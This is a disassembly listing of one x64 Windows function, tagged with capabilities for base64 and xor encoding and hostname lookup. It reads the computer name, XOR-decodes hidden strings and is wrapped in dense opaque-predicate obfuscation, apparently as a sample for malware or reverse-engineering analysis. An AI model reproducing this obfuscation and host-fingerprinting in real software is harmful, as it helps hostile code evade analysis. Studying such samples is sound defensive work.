Function at 0x14001da10
Capabilities:
Encode data using base64
Encode data using xor
Get hostname

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x398
movdqa xmmword [rsp + 0x380], xmm8
movdqa xmmword [rsp + 0x370], xmm7
movdqa xmmword [rsp + 0x360], xmm6
lea rsi, [rsp + 0x290]
mov rcx, rsi
call fcn.1400da380
mov rcx, rsi
call fcn.1400dac00
mov dword [rsp + 0x40], 0
lea r8, [rsp + 0x40]
mov ecx, 5
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2b90]
mov edx, dword [0x141dc2b94]
add ecx, edx
add ecx, 0x76e2ade
or ecx, 0x9e3f9fd2
add ecx, 0xd075c68a
cmp ecx, 0x4b58dc9b
jb 0x14001da80
test eax, eax
je 0x14001db20
mov ebx, dword [rsp + 0x40]
test rbx, rbx
je 0x14001db3f
lea rdx, [rbx + rbx]
mov ecx, 8
call fcn.1400bf820
mov rdi, rax
mov ecx, 0xce77fd25
nop
mov eax, dword [0x141dc2b98]
xor edx, edx
div dword [str.ulMA]
imul rax, rcx
shr rax, 0x3a
add eax, 0x9970161f
cmp eax, 0xf89cd32
jb 0x14001dad0
test rdi, rdi
je 0x14001dcf0
nop dword [rax + rax]
mov eax, dword [0x141dc2ba0]
add eax, dword [0x141dc2ba4]
imul eax, eax, 0xed5731ff
add eax, 0x41219a29
cmp eax, 0x4f7c453c
jae 0x14001db00
jmp 0x14001db44
xor eax, eax
test al, al
je 0x14001db2c
call qword [sym.imp.KERNEL32.dll_GetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [rsp + 0x40]
test rbx, rbx
jne 0x14001dab9
mov edi, 2
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x80], rbx
lea rsi, [rsp + 0x40]
mov ecx, 5
mov rdx, rdi
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x14001dc30
lea rax, [rdi + rbx*2]
nop dword [rax + rax]
mov ecx, dword [0x141dc2bb8]
add ecx, dword [0x141dc2bbc]
and ecx, 0x24ac6b69
add ecx, 0xb600225e
cmp ecx, 0x653f9785
jb 0x14001db80
test ebx, ebx
je 0x14001dcb4
xor r14d, r14d
mov rcx, rdi
nop
cmp word [rcx], 0
je 0x14001dcbb
nop word [rax + rax]
mov edx, dword [0x141dc2bc0]
or edx, dword [0x141dc2bc4]
add edx, 0xab1f593d
shr edx, 2
imul rdx, rdx, 0x8119fef
shr rdx, 0x37
or edx, 0x7cb13636
cmp edx, 0xca0fd149
ja 0x14001dbc0
add rcx, 2
inc r14
nop word cs:[rax + rax]
mov edx, dword [0x141dc2bc8]
and edx, dword [0x141dc2bcc]
and edx, 0x9d9c4f7e
xor edx, 0x13560766
add edx, 0xd1c86ad4
cmp edx, 0xf4dc5d67
ja 0x14001dc00
cmp rcx, rax
jne 0x14001dbb0
jmp 0x14001de87
mov r14, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word [rax + rax]
mov eax, dword [0x141dc2bd0]
xor eax, dword [0x141dc2bd4]
imul ebp, eax, 0xaadcab83
or ebp, 0x7a2d05bb
and ebp, 0xfeff47bf
call r14
cmp ebp, 0x8a9c8586
ja 0x14001dc40
test ebx, ebx
je 0x14001dc80
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov eax, dword [0x141dc2bd8]
xor eax, dword [0x141dc2bdc]
or eax, 0xe8bfa860
xor eax, 0xdaa74e0
add eax, 0x1a1ee7a0
cmp eax, 0x8a3e259a
jb 0x14001dc80
movabs rdi, 0x8000000000000000
mov r14, rdi
jmp 0x14001defa
xor ebx, ebx
jmp 0x14001de87
mov r12, r14
sub r12, rbx
ja 0x14001dd49
mov r13, r14
mov eax, dword [0x141dc2bf8]
and eax, dword [0x141dc2bfc]
and eax, 0x8a7262c6
add eax, 0x1e1d4a26
cmp eax, 0x7f2c0086
ja 0x14001de7a
jmp 0x14001de4f
mov eax, dword [0x141dc2ba8]
sub eax, dword [0x141dc2bac]
or eax, 0xabf86772
imul rax, rax, 0x1c875c41
shr rax, 0x38
add eax, 0x4cabc664
cmp eax, 0xc5d6910e
jbe 0x14001dd1a
ud2
ud2
mov qword [rsp + 0x20], 2
lea rcx, [rsp + 0x70]
mov r9d, 2
mov rdx, rbx
mov r8, r12
call fcn.1400fd630
mov rdi, qword [rsp + 0x78]
mov r13, qword [rsp + 0x80]
lea r15, [rdi + r13*2]
nop dword [rax]
mov eax, dword [0x141dc2be0]
sub eax, dword [0x141dc2be4]
or eax, 0x424c91
and eax, 0x624ebd
xor eax, 0x5e0df65c
cmp eax, 0x4d6d182e
jb 0x14001dd80
cmp r12, 2
jb 0x14001ddff
mov eax, dword [0x141dc2be8]
sub eax, dword [0x141dc2bec]
not rbx
imul eax, eax, 0x33f5da98
add eax, 0xcaea8cdc
cmp eax, 0x5ac536b9
jae 0x14001ddda
lea r8, [r14 + rbx]
add r8, r8
mov rcx, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add r14, rbx
add r14, r14
mov rcx, r15
xor edx, edx
mov r8, r14
call sub.VCRUNTIME140.dll_memset
lea rax, [r12 + r13]
lea r15, [rdi + rax*2]
add r15, 0xfffffffffffffffe
add r13, r12
dec r13
mov eax, dword [0x141dc2bf0]
xor edx, edx
div dword [0x141dc2bf4]
imul rcx, rax, 0x46c0e501
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1b
add eax, 0x191e8199
or eax, 0x545e190b
cmp eax, 0x73f8b9cd
jbe 0x14001de38
mov word [r15], 0
inc r13
xor eax, eax
nop dword [rax]
mov word [r15], 0
test al, al
jne 0x14001de40
jmp 0x14001dcca
mov eax, dword [str.kMPss]
xor eax, dword [0x141dc2c04]
imul eax, eax, 0xf2bad35d
or eax, 0xad8a0c9
add eax, 0x9cbbc1e0
mov qword [rsp + 0x80], r13
cmp eax, 0x24b7aa6c
jae 0x14001de84
mov qword [rsp + 0x80], r13
jmp 0x14001de4f
mov rbx, r13
lea rcx, [rsp + 0x140]
mov rdx, rdi
mov r8, rbx
call fcn.140038bc0
mov r14, qword [rsp + 0x140]
mov r15, qword [rsp + 0x148]
mov rbx, qword [rsp + 0x150]
cmp qword [rsp + 0x70], 0
je 0x14001def0
mov eax, dword [0x141dc2c08]
sub eax, dword [0x141dc2c0c]
or eax, 0x942c103c
add eax, 0xe1e801cf
cmp eax, 0x7bddb4a
jae 0x14001dede
mov rax, qword [0x141ddb9a0]
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movabs rdi, 0x8000000000000000
lea rax, [0x141daabda]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
movabs rax, 0x54ff1d507fd6b701
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.14001abb0
movabs rcx, 0xfa7ec33fe7f229bd
xor rcx, qword [rax]
mov edx, 0x613f7453
xor edx, dword [rax + 8]
movzx r8d, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
mov r9d, eax
shr r9d, 8
xor al, 0xa9
xor r9b, 0x22
xor r8b, 0x1f
xor r11d, r11d
mov r10d, 1
mov qword [rsp + 0x140], rcx
mov dword [rsp + 0x148], edx
mov byte [rsp + 0x14c], al
mov byte [rsp + 0x14d], r9b
mov byte [rsp + 0x14e], r8b
cmp r14, rdi
cmovne r10, r15
mov qword [rsp + 0x258], r10
cmovne r11, r14
mov qword [rsp + 0x280], r11
je 0x14001e00e
cmp rbx, 0xf
jne 0x14001e00e
mov rcx, qword [rsp + 0x258]
mov rax, qword [rcx]
mov rdx, qword [rcx + 7]
xor rax, qword [rsp + 0x140]
xor rdx, qword [rsp + 0x147]
xor ecx, ecx
or rdx, rax
setne cl
nop word cs:[rax + rax]
mov eax, dword [0x141dc2c10]
xor edx, edx
div dword [0x141dc2c14]
add eax, 0x243a8872
imul rax, rax, 0x53539a0d
shr rax, 0x3e
or eax, 0x1a55e1e
cmp eax, 0xc48ed47a
ja 0x14001dfe0
test ecx, ecx
je 0x14001e044
mov eax, dword [0x141dc2c18]
imul eax, dword [0x141dc2c1c]
or eax, 0x45b2f95a
mov ecx, 0xaf42bce5
imul rcx, rax
shr rcx, 0x3c
add ecx, 0xcceb47d6
cmp ecx, 0xcc167664
jb 0x14001e346
jmp 0x14001e310
movabs rdi, 0xe6f279b749158f2f
movabs rbx, 0xb5491db0c86e2d52
movabs r14, 0x45ebc7a8b5615dc4
movabs r12, 0x1f74dc86f97dd092
movabs r15, 0xedca2599ec5fdc7
mov eax, dword [0x141dc32c0]
mov ecx, dword [0x141dc32c4]
add eax, ecx
add eax, 0x119a2975
xor eax, 0x2962f68
cmp eax, 0x3e4d6625
jae 0x14001e133
lea rax, [0x141da93f8]
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x140]
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x140], r12
mov rdx, qword [rsp + 0x140]
call fcn.14001afd0
mov rcx, qword [rax]
xor rcx, r14
mov rdx, qword [rax + 8]
xor rdx, r15
mov r8, qword [rax + 0x10]
xor r8, rbx
mov r9, qword [rax + 0x18]
xor r9, rdi
movzx r10d, byte [rax + 0x22]
movzx eax, word [rax + 0x20]
mov r11d, eax
shr r11d, 8
xor al, 0xf5
xor r11b, 0x67
xor r10b, 0x5d
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x88], r9
mov byte [rsp + 0x90], al
mov byte [rsp + 0x91], r11b
mov byte [rsp + 0x92], r10b
lea rax, [0x141da93f8]
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x140]
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x140], r12
mov rdx, qword [rsp + 0x140]
call fcn.14001afd0
xor r14, qword [rax]
xor r15, qword [rax + 8]
xor rbx, qword [rax + 0x10]
xor rdi, qword [rax + 0x18]
movzx ecx, byte [rax + 0x22]
movzx eax, word [rax + 0x20]
mov edx, eax
shr edx, 8
xor al, 0xf5
xor dl, 0x67
xor cl, 0x5d
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], rdi
mov byte [rsp + 0x90], al
mov byte [rsp + 0x91], dl
mov byte [rsp + 0x92], cl
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x23
mov qword [rsp + 0xd0], rsi
lea rax, [0x14008b440]
mov qword [rsp + 0xd8], rax
lea rax, [0x140102eb0]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 2
mov qword [rsp + 0x160], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x140]
call fcn.14009ee10
cmp qword [rsp + 0x280], 0
je 0x14001e2c4
mov eax, 0xcd1f2ac9
nop dword [rax + rax]
mov ecx, dword [0x141dc32c8]
or ecx, dword [0x141dc32cc]
xor ecx, 0xc32279d3
and al, bl
imul rcx, rax
shr rcx, 0x3e
imul ecx, ecx, 0x95c0d650
cmp ecx, 0x23e38ef3
jb 0x14001e250
mov eax, 0xcb29906d
mov r8, qword [rsp + 0x258]
test byte [rax + rbx*2], ah
add al, byte [rax]
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
mov ecx, dword [0x141dc32d0]
and ecx, dword [0x141dc32d4]
or ecx, 0xd2475dc9
imul rcx, rax
shr rcx, 0x3e
and ecx, 0xfffffffe
cmp ecx, 0x4f01a792
ja 0x14001e290
mov rcx, qword [0x141ddb9a0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0x290]
call fcn.14000f8f0
mov eax, 0xcdd1462b
nop word cs:[rax + rax]
mov ecx, dword [0x141dc32d8]
imul ecx, dword [0x141dc32dc]
add ecx, 0x6d52afb7
imul rcx, rax
shr rcx, 0x3c
imul ecx, ecx, 0x55b7c4ad
cmp ecx, 0x116bbdf7
ja 0x14001e2e0
jmp 0x140024186
ud2
mov eax, dword [0x141dc2c20]
xor edx, edx
div dword [0x141dc2c24]
add eax, 0xa1bbca15
or eax, 0xbf80d173
imul edi, eax, 0x3bed50a4
lea rsi, [rsp + 0x140]
mov rcx, rsi
call fcn.1400ddd50
cmp edi, 0x34e81396
jbe 0x14001e355
lea rcx, [rsp + 0x140]
call fcn.1400ddd50
jmp 0x14001e310
cmp byte [rsp + 0x140], 0x12
jne 0x14001e30e
movabs rdi, 0xf7fc3093063ae4a8
mov eax, dword [0x141dc2c28]
xor eax, dword [0x141dc2c2c]
and eax, 0x2fc4da03
xor eax, 0x36eee6fc
imul eax, eax, 0x78a1d088
cmp eax, 0x8598fc85
jb 0x14001e3e4
mov eax, dword [0x141dc2c30]
imul eax, dword [0x141dc2c34]
imul eax, eax, 0x82628e94
imul rax, rax, 0x2dbfb6b
shr rax, 0x39
imul ebx, eax, 0xa4fd770c
lea rax, [0x141da7458]
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x140], rdi
mov rdx, qword [rsp + 0x140]
call fcn.1400199a0
cmp ebx, 0xff04af00
jne 0x14001e3fd
lea rax, [0x141da7458]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x140], rdi
jmp 0x14001e38c
movabs rcx, 0x8328b3902449038c
xor rcx, qword [rax]
movabs rdx, 0x3f11b2b63e05de9d
xor rdx, qword [rax + 8]
mov r8d, 0x21a9b4b5
xor r8d, dword [rax + 0x10]
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x148], rdx
mov dword [rsp + 0x150], r8d
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x140]
mov r8d, 0x14
call fcn.1400de170
movzx eax, byte [rsp + 0x40]
cmp rax, 0x12
jne 0x14001e49b
movabs rax, 0x13af67d9d8d53740
mov ecx, dword [0x141dc2c60]
and ecx, dword [0x141dc2c64]
imul rcx, rcx, 0x26d91533
shr rcx, 0x3d
imul ecx, ecx, 0xb76a40fd
add ecx, 0xba639bee
cmp ecx, 0xb6ebbc33
jb 0x14001e5b8
jmp 0x14001e562
cmp rax, 0x10
ja case.0x14001e4af.9
lea rcx, [0x141dba024]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x48]
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2c48]
xor ecx, dword [0x141dc2c4c]
imul ecx, ecx, 0x977bd4bd
add ecx, 0xc103536a
cmp ecx, 0x1b3d64fe
jb 0x14001e4c0
mov esi, 0x10
test rax, rax
jne 0x14001e532
jmp case.0x14001e4af.0
mov eax, dword [0x141dc2c50]
xor edx, edx
div dword [0x141dc2c54]
or eax, 0xf918a5b6
and eax, 0xfb18a5b6
cmp eax, 0xd249ad94
jb case.0x14001e4af.10
mov esi, 0x10
cmp qword [rsp + 0x48], 0
jne 0x14001e532
jmp case.0x14001e4af.0
mov esi, 8
cmp qword [rsp + 0x50], 0
je case.0x14001e4af.0
mov eax, dword [0x141dc2c38]
xor eax, dword [0x141dc2c3c]
imul rax, rax, 0x11b44a03
shr rax, 0x37
and eax, 0xffffffe1
imul eax, eax, 0x34a83881
cmp eax, 0x292798b5
jb 0x140021910
jmp 0x1400218d2
mov ecx, dword [0x141dc2c68]
or ecx, dword [0x141dc2c6c]
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x230], rdx
lea rdx, [0x141daa4bb]
mov qword [rsp + 0x100], rdx
lea rdx, [rsp + 0x100]
mov rsi, qword [rsp + 0x100]
mov qword [rsp + 0xd0], rax
lea rdx, [rsp + 0xd0]
add ecx, 0x77ca0999
cmp ecx, 0xd755f299
jbe 0x14001e5f1
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x230], rcx
lea rcx, [0x141daa4bb]
mov qword [rsp + 0x100], rcx
lea rcx, [rsp + 0x100]
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0xd0]
jmp 0x14001e562
mov rbx, qword [rsp + 0xd0]
movabs rdi, 0x3c07d06ace1eb9be
mov eax, dword [0x141dc2c70]
or eax, dword [0x141dc2c74]
movabs r14, 0x423ad6d07549e8f
or eax, 0xa5b6f37f
xor eax, 0x7fd47df1
cmp eax, 0x3396e526
jae 0x14001e65e
mov rcx, rsi
mov rdx, rbx
call fcn.1400190d0
mov rcx, qword [rax]
xor rcx, rdi
mov rdx, qword [rax + 8]
xor rdx, r14
mov r8, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x148], rdx
mov rcx, rsi
mov rdx, rbx
call fcn.1400190d0
xor rdi, qword [rax]
xor r14, qword [rax + 8]
movabs rcx, 0x5ae8f0c0404880ea
xor rcx, qword [rax + 0x10]
movabs rdx, 0xc1e5d256daea85b8
xor rdx, qword [rax + 0x18]
movabs r8, 0xe2647abe0e4adfa1
xor r8, qword [rax + 0x20]
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x148], r14
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x158], rdx
mov qword [rsp + 0x160], r8
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x230]
lea r8, [rsp + 0x140]
mov r9d, 0x28
call fcn.140007470
cmp byte [rsp + 0x70], 0x12
jne 0x14001f351
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x218], rax
mov r14, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
mov eax, dword [0x141ddb9bc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x70], 0
je 0x14001e749
mov eax, dword [0x141ddb9bc]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov rax, qword [rcx + 0x78]
mov rcx, qword [rcx + 0x80]
jmp 0x14001e7ba
xorps xmm0, xmm0
movaps xmmword [rsp + 0x140], xmm0
lea rcx, [rsp + 0x140]
mov edx, 0x10
call qword [sym.imp.bcryptprimitives.dll_ProcessPrng]
mov rax, qword [rsp + 0x140]
nop
mov ecx, dword [0x141dc2c78]
or ecx, dword [0x141dc2c7c]
imul edx, ecx, 0x7498b286
add edx, 0xc8cb9946
mov ecx, dword [0x141ddb9bc]
mov r8, qword gs:[0x58]
mov r8, qword [r8 + rcx*8]
mov rcx, qword [rsp + 0x148]
mov byte [r8 + 0x70], 1
mov qword [r8 + 0x80], rcx
cmp edx, 0x398cca07
jb 0x14001e770
lea rdx, [rax + 1]
mov r8d, dword [0x141ddb9bc]
mov r9, qword gs:[0x58]
mov r8, qword [r9 + r8*8]
mov qword [r8 + 0x78], rdx
movups xmm0, xmmword [0x141db9910]
movaps xmmword [rsp + 0x70], xmm0
movdqu xmm0, xmmword [0x141db9920]
movdqa xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rcx
lea r12, [rsi + rsi*2]
shl r12, 4
add r12, r14
mov qword [rsp + 0xf8], r14
test rsi, rsi
je 0x14001ef6e
lea rsi, [rsp + 0x148]
nop word [rax + rax]
mov eax, dword [0x141dc2c80]
imul eax, dword [0x141dc2c84]
imul eax, eax, 0xcc026d06
xor eax, 0xbc4b9aa6
add eax, 0x479fecec
cmp eax, 0x9a26583e
ja 0x14001e830
mov r14, qword [rsp + 0xf8]
nop dword [rax]
mov eax, dword [0x141dc2c88]
add eax, dword [0x141dc2c8c]
imul eax, eax, 0xb510f198
and eax, 0xabccbc68
cmp eax, 0x75bcd02
jb 0x14001e860
lea rbx, [0x141db9900]
xor edi, edi
lea r13, [0x140102ed0]
lea rbp, [rsp + 0x140]
pcmpeqd xmm6, xmm6
xor r15d, r15d
mov qword [rsp + 0x128], r12
jmp 0x14001e8e1
mov rcx, rsi
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, qword [rsp + 0x128]
lea rsi, [rsp + 0x148]
lea r13, [0x140102ed0]
nop dword [rax]
mov rcx, rbp
call fcn.14000d8d0
cmp r14, r12
je 0x14001eff0
mov rax, r14
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2c98]
add ecx, dword [0x141dc2c9c]
xor ecx, 0xc558a660
add ecx, 0xa0fd3f9e
cmp ecx, 0x7a628a0b
jb 0x14001e8f0
lea r14, [rax + 0x30]
mov rcx, qword [rax]
test rcx, rcx
je 0x14001ef6e
mov qword [rsp + 0x140], rcx
mov rcx, qword [rax + 0x28]
mov qword [rsi + 0x20], rcx
movdqu xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movups xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
mov r8d, 0xb
mov rcx, rbp
mov rdx, r13
call fcn.14001d400
test rax, rax
je 0x14001e8d0
nop dword [rax + rax]
mov ecx, dword [0x141dc2d18]
add ecx, dword [0x141dc2d1c]
imul rcx, rcx, 0x64f5a801
shr rcx, 0x3e
or ecx, 0xf849ccaa
imul ecx, ecx, 0x69800785
cmp ecx, 0x87e5ee5f
je 0x14001e960
cmp byte [rax + 0x18], 2
jne 0x14001e8d0
mov rsi, qword [rax + 0x28]
mov rbp, qword [rax + 0x30]
nop dword [rax]
mov eax, dword [0x141dc2d20]
imul eax, dword [0x141dc2d24]
add eax, 0x4cead6b1
and eax, 0x3db1129
xor eax, 0xdabf819d
cmp eax, 0xa45eccb8
jb 0x14001e9a0
test rbp, rbp
js 0x14001f387
je 0x14001ea23
nop
mov eax, dword [0x141dc2d28]
and eax, dword [str._f6]
movzx ecx, byte [0x141ddb9b8]
cmp eax, 0xd892438d
je 0x14001e9d0
mov eax, dword [0x141dc2d30]
xor edx, edx
div dword [0x141dc2d34]
add eax, 0xd8c5a33f
imul rcx, rax, 0xfb5dfd7
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1b
add eax, 0x348526f8
cmp eax, 0x2cf4ea65
jb 0x14001ed80
jmp 0x14001ea30
mov r13d, 1
jmp 0x14001eaa5
mov eax, dword [0x141dc2d38]
sub eax, dword [0x141dc2d3c]
mov ecx, 0xaaacae4f
imul rax, rcx
shr rax, 0x3e
imul r12d, eax, 0xc9ee8a10
add r12d, 0x6799f4c6
xor ecx, ecx
mov rdx, rbp
call fcn.1400bf820
cmp r12d, 0xc8d4d527
jb 0x14001ed80
mov r13, rax
test rax, rax
je 0x14001f387
nop word [rax + rax]
mov eax, dword [0x141dc2d40]
mov ecx, dword [0x141dc2d44]
add eax, ecx
add eax, 0x3f61f80e
or eax, 0x119b5368
imul eax, eax, 0xfa8a8f74
cmp eax, 0x84f1a06c
jbe 0x14001ea80
mov rcx, r13
mov rdx, rsi
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov r12, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov rcx, r12
mov qword [rsp + 0x68], rdx
mov r8, r13
mov r9, rbp
call fcn.1400c11a0
mov rsi, rax
cmp qword [rsp + 0x80], 0
jne 0x14001eb69
mov rbx, r12
mov eax, dword [0x141dc2d50]
imul eax, dword [0x141dc2d54]
mov ecx, 0xc3a94c69
imul rax, rcx
shr rax, 0x3c
add eax, 0xaac87daf
and eax, 0x2885081
cmp eax, 0x6594126
lea r12, [rsp + 0x70]
mov rax, qword [rsp + 0x68]
ja 0x14001ee87
mov qword [rsp + 0x38], rbx
mov ebx, dword [0x141dc2d58]
xor ebx, dword [0x141dc2d5c]
xor ebx, 0x80aa884
or ebx, 0x7d4521b
mov rcx, r12
mov rdx, qword [rsp + 0x38]
mov r15, rax
mov r8, rax
call fcn.1400f0300
mov rax, r15
cmp ebx, 0x8c278c3f
ja 0x14001eb29
mov rbx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x78]
mov rax, rsi
shr rax, 0x39
mov qword [rsp + 0x138], rax
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x38], rax
xor eax, eax
mov qword [rsp + 0x68], rax
and rsi, r15
movdqu xmm8, xmmword [rbx + rsi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb r12d, xmm0
test r12d, r12d
je 0x14001ec60
nop dword [rax + rax]
tzcnt eax, r12d
add rax, rsi
and rax, r15
neg rax
lea rax, [rax + rax*2]
cmp rbp, qword [rbx + rax*8 - 8]
jne 0x14001ec17
lea rax, [rbx + rax*8]
nop dword [rax]
mov ecx, dword [0x141dc2d60]
add ecx, dword [0x141dc2d64]
imul ecx, ecx, 0x9e0510c0
add ecx, 0xe6be86b0
cmp ecx, 0x20ecd63a
jb 0x14001ebe0
mov rdx, qword [rax - 0x10]
mov rcx, r13
mov r8, rbp
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001ed30
lea ecx, [r12 - 1]
nop dword [rax]
mov eax, dword [0x141dc2d68]
xor edx, edx
div dword [0x141dc2d6c]
xor eax, 0x15113c9
add eax, 0x9d924cdf
xor eax, 0xc2be657e
cmp eax, 0xbe9d24ad
ja 0x14001ec20
and ecx, r12d
mov r12d, ecx
test cx, cx
jne 0x14001ebc0
nop word cs:[rax + rax]
test dil, dil
jne 0x14001ec60
cmp qword [rsp + 0x68], 1
mov ecx, 1
mov r8, qword [rsp + 0x138]
je 0x14001ecbf
pmovmskb eax, xmm8
xor ecx, ecx
test eax, eax
setne cl
tzcnt eax, eax
add rax, rsi
and rax, r15
mov qword [rsp + 0x210], rax
nop dword [rax + rax]
mov eax, dword [0x141dc2d70]
xor edx, edx
div dword [0x141dc2d74]
and eax, 0x182495c6
xor eax, 0xd94b9ef6
cmp eax, 0x937d5ddc
jb 0x14001eca0
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
mov rdx, qword [rsp + 0x38]
jne 0x14001eda4
mov qword [rsp + 0x68], rcx
add rdx, 0x10
nop
mov eax, dword [0x141dc2d78]
mov ecx, dword [0x141dc2d7c]
add eax, ecx
add eax, 0xc446453a
cmp eax, 0xcfd29e5b
ja 0x14001ece0
add rsi, rdx
nop dword [rax]
mov eax, dword [0x141dc2d80]
xor eax, dword [0x141dc2d84]
xor eax, 0x6329ff4
add eax, 0x95f7d4da
cmp eax, 0xdc9940b2
jae 0x14001ed00
mov qword [rsp + 0x38], rdx
jmp 0x14001eb98
test rbp, rbp
je 0x14001ed8f
mov rsi, qword [0x141ddb9a0]
mov eax, dword [0x141dc2da0]
sub eax, dword [0x141dc2da4]
add eax, 0x92b9ea8c
or eax, 0x43e43972
imul eax, eax, 0x56e37963
cmp eax, 0xca57c80
lea rbp, [rsp + 0x140]
jae 0x14001e8a7
mov rcx, rsi
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14001e8a7
xor ecx, ecx
mov rdx, rbp
call fcn.1400bf820
jmp 0x14001ea30
mov r12, qword [rsp + 0x128]
lea rsi, [rsp + 0x148]
jmp 0x14001ef14
mov r9, qword [rsp + 0x210]
nop dword [rax]
mov eax, dword [0x141dc2d88]
xor eax, dword [0x141dc2d8c]
imul eax, eax, 0xa6e28c44
add eax, 0x5b12c318
cmp eax, 0x99bcdf55
ja 0x14001edb0
movzx eax, byte [rbx + r9]
test al, al
lea rsi, [rsp + 0x148]
js 0x14001ee53
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
nop word [rax + rax]
mov ecx, dword [0x141dc2d90]
xor ecx, dword [0x141dc2d94]
add ecx, 0xe1ba7725
imul rdx, rcx, 0x2576501
shr rdx, 0x20
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
cmp ecx, 0x92b72d29
ja 0x14001edf0
tzcnt r9d, eax
nop word cs:[rax + rax]
mov eax, dword [0x141dc2d98]
or eax, dword [0x141dc2d9c]
xor eax, 0x166b0713
imul eax, eax, 0x83f98b0d
cmp eax, 0x8b4fc3e5
je 0x14001ee30
movzx eax, byte [rbx + r9]
mov ecx, dword [0x141dc2da8]
imul ecx, dword [0x141dc2dac]
xor ecx, 0x55d199cc
mov edx, 0xafddeffb
imul rcx, rdx
shr rcx, 0x3f
or ecx, 0x677ec43e
cmp ecx, 0x51bdba91
jb 0x14001ef28
jmp 0x14001eea6
mov r15, r12
mov rcx, r12
mov rdx, rbx
mov r12, rax
mov r8, rax
call fcn.1400f0300
mov rax, r12
mov r12, r15
jmp 0x14001eb24
mov ecx, dword [0x141dc2db0]
or ecx, dword [0x141dc2db4]
imul rcx, rcx, 0x6c556e6d
mov edx, eax
and dl, 1
movzx edx, dl
sub qword [rsp + 0x80], rdx
shr rcx, 0x3e
lea rdx, [r9 - 0x10]
and rdx, r15
mov byte [rbx + r9], r8b
mov byte [rdx + rbx + 0x10], r8b
inc qword [rsp + 0x88]
imul ecx, ecx, 0x8a5ddf80
mov rdx, r9
neg rdx
lea rdx, [rdx + rdx*2]
mov qword [rbx + rdx*8 - 0x18], rbp
mov qword [rbx + rdx*8 - 0x10], r13
mov qword [rbx + rdx*8 - 8], rbp
cmp ecx, 0x265b009b
jae 0x14001ef28
mov r12, qword [rsp + 0x128]
lea r13, [0x140102ed0]
lea rbp, [rsp + 0x140]
jmp 0x14001e8d0
mov ecx, eax
and cl, 1
movzx ecx, cl
sub qword [rsp + 0x80], rcx
lea rcx, [r9 - 0x10]
